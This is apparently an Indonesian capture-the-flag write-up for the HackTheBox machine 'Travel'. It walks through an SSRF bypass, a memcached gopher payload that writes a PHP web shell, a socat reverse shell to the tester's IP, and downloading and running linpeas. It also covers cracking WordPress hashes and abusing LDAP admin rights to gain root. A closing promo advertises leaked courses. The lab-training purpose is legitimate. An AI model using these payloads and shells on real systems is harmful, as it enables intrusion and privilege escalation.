
Saya terus menerbitkan solusi yang dikirim ke penyelesaian mesin dari situs HackTheBox .
Pada artikel ini, kami mencari cara untuk mendapatkan RCE menggunakan PHP memcache dan SSRF, menggali database dan melihat apa yang berbahaya bagi administrator LDAP.
Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.
Informasi organisasi
Pengintai
Mesin ini memiliki alamat IP 10.10.10.189, yang saya tambahkan ke / etc / hosts.
10.10.10.189 travel.htb
Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500
Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.
nmap -A travel.htb -p22,80,443
Jadi, kami memiliki akses ke layanan SSH dan server web nginx. Pemindaian menunjukkan untuk DNS mana sertifikat itu ditujukan. Mari tambahkan mereka ke / etc / hosts.
10.10.10.189 www.travel.htb
10.10.10.189 blog.travel.htb
10.10.10.189 blog-dev.travel.htb
Mari kita lihat situs-situs ini. Yang pertama kami temukan deskripsi situsnya.
Yang kedua lebih menarik. Kami segera melihat bahwa ini adalah CMS WordPress dan menemukan formulir pencarian.
Cepat memeriksa situs dengan wpscan, kami tidak menemukan apa pun. Kami melangkah lebih jauh dan situs ketiga bertemu dengan kesalahan 403. Mari kita mengulang direktori. Saya menggunakan gobuster untuk ini. Dalam parameter, kami menentukan jumlah aliran 128 (-t), URL (-u), kamus (-w) dan ekstensi yang kami minati (-x).
gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html
Temukan .git. Kita dapat menyalin repositori.
Ini dapat dilakukan dengan berbagai program, saya menggunakan skrip rip-git .
./rip-git.pl -v -u http://blog-dev.travel.htb/.git/
Dan di direktori direktori saat ini, kita akan melihat file yang dihasilkan dan repositori .git.
Kami menggunakan gitk untuk bekerja dengan .git.
Ada changelog, tempat kami mencatat keberadaan cache dan pemeriksaan keamanan.
Di file rss_template.php, tandai memcache, keberadaan parameter url, dan debug.
Parameter harus berisi string "custom_feed_url". Dan kemungkinan besar permintaan akan dibuat di alamat ini.
Halaman RSS ada di blog.travel.htb .
Mari mulai server web lokal dan akses awesome-rss, meneruskan IP kita sebagai parameter.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120
Dan kami mengamati bahwa asumsi tersebut benar. Perlu dicatat bahwa jika url hilang, maka www.travel.htb / newsfeed / customfeed.xml akan dipilih .
Titik masuk
README mengatakan untuk memindahkan file-file ini ke wp-content / themes / twentytwenty (yang saya perhatikan saat mencari file debug.php). Dan file debug dapat ditemukan di sana.
Jadi, ini semua menarik dan belum jelas, tapi sepertinya data berseri. Mari kumpulkan satu hal dari semua informasi:
- Kami perlu menghubungi server dan mendapatkan file feed.xml.

- Fungsi yang diteruskan url menggunakan SimplePie API (yang memiliki dokumentasi bagus ) dan memcache. Fungsi ini akan mengembalikan objek sederhana.

- Fungsi url_get_contents disediakan di template.php. Dalam hal ini, perlu diperiksa, yang seharusnya tidak memberi kami kesempatan untuk mengakses file di server. Tetapi filter SSRF kurang tepat, karena kita juga dapat mengakses localhost menggunakan alamat 127.0.1.1, 127.1, 127.000.0.1, dll.

- Selanjutnya, informasi dari file feed.xml ditampilkan.
- Ada juga kelas TemplateHelper dan fungsi init () yang menulis data yang ditransfer ke file yang ditentukan.

Tetap mencari tahu file mana di direktori log tempat data serial ditulis. Mari kita lihat dokumentasi:
Jadi, path diartikan sebagai MD5 (MD5 (url) + ": spc"). Mari kita periksa, dan untuk ini kita mengunduh file xml dari url default.
wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml
Sekarang mari beralih ke halaman RSS, meneruskan file yang diunduh ke URL.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml
Dan kami mendapatkan data serial.
curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
Dan sekarang, dengan menggunakan rumus di atas, kami menghitung jalur yang ditafsirkan.
Dan 10 byte pertama cocok! Di sinilah vektor serangan diuraikan - PHP memcached dan SSRF. Pencarian google membawa saya ke skrip ini .
Anda hanya perlu mengubah kode untuk kasus kami. Mari buat data serial.
code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'
Jadi, kita akan menulis kode <? Php system ($ _ REQUEST ["cmd"]); ke file ralf.php saat melakukan deserialisasi. Kunci yang paling kami minati adalah xct_key, yang sudah bisa kami hitung.
Kemudian kita mendapatkan kode berikut untuk membuat beban.
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload
Dan kami akan deserialize.
r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")
Kode lengkap disajikan di bawah ini (seperti biasa gambar).
Oke, ayo kita jalan-jalan biasa. Tapi karena ada masalah dengan python pty, mari buat shell backconnect menggunakan socat. Mari kita mulai pendengar di klien:
socat file:`tty`,raw,echo=0 tcp-listen:4321
Dan hubungkan dari server:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321
PENGGUNA
Biasanya dalam kasus seperti itu, Anda harus memeriksa database pengguna, menggunakan wordpress. Mari cari file wp-config.php.
Dengan kredensial ini, mari terhubung ke mysql, tugas kita adalah menemukan tabel wp_users.
mysql -h 127.0.0.1 -u wp -p
Mari kita lihat database.
Mari kita lihat database wp.
Dan kami menemukan tabel yang diperlukan.
Benar, ketika mencoba untuk memaksa hash, kita mendapatkan kegagalan. Tidak ada kata sandi seperti itu. Kemudian saya mengunduh skrip linpeas ke mesin dan melakukan beberapa pencacahan dasar.
curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh
Kami tidak menemukan sesuatu yang istimewa, kecuali bahwa kami berada di dalam kontainer buruh pelabuhan.
Tetapi skrip ini tidak memeriksa direktori opt. Dan karena kami baru saja menemukan backup database.
Jika kita melihat baris di file ini, ada entri tentang dua pengguna di akhir.
Tapi yang kedua sangat brutal.
hashcat -a 0 -m 400 wp.hash tools/rockyou.txt
Dan dengan kata sandi yang ditemukan, hubungkan melalui ssh.
AKAR
Kami juga menemukan dua file menarik di direktori kerja pengguna - .ldaprc dan .viminfo.
Mari kita lihat apa yang ada di dalamnya. Jadi, di file pertama kami menemukan rekaman ldap pengguna kami.
Dan di detik password ldap nya.
Mari kita lihat. Panggil ldapwhoami dengan opsi -x (otentikasi sederhana) dan -w (kata sandi).
ldapwhoami -x -w Theroadlesstraveled
Kami melihat entri dari file .ldaprc. Mari kita minta informasi.
ldapsearch -x -w Theroadlesstraveled
Jadi, kami mendapatkan daftar pengguna dan mengetahui bahwa kami adalah administrator LDAP. Artinya, kita dapat membuat kunci SSH untuk setiap pengguna, mengubah kata sandi dan masuk ke grup sudo! Grup Sudo - 27.
Mari buat sepasang kunci.
Sekarang mari buat file konfigurasi.
Mari terapkan ke pengguna terus terang.
ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f frank.ldif
Dan terhubung melalui SSH
ssh -i id_rsa frank@travel
Sekarang mari gunakan sudo dengan kata sandi kita.
Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kita kumpulkan komunitas, di dalamnya akan ada orang-orang yang berpengalaman di banyak bidang IT, kemudian kita selalu bisa saling membantu dalam setiap masalah IT dan keamanan informasi.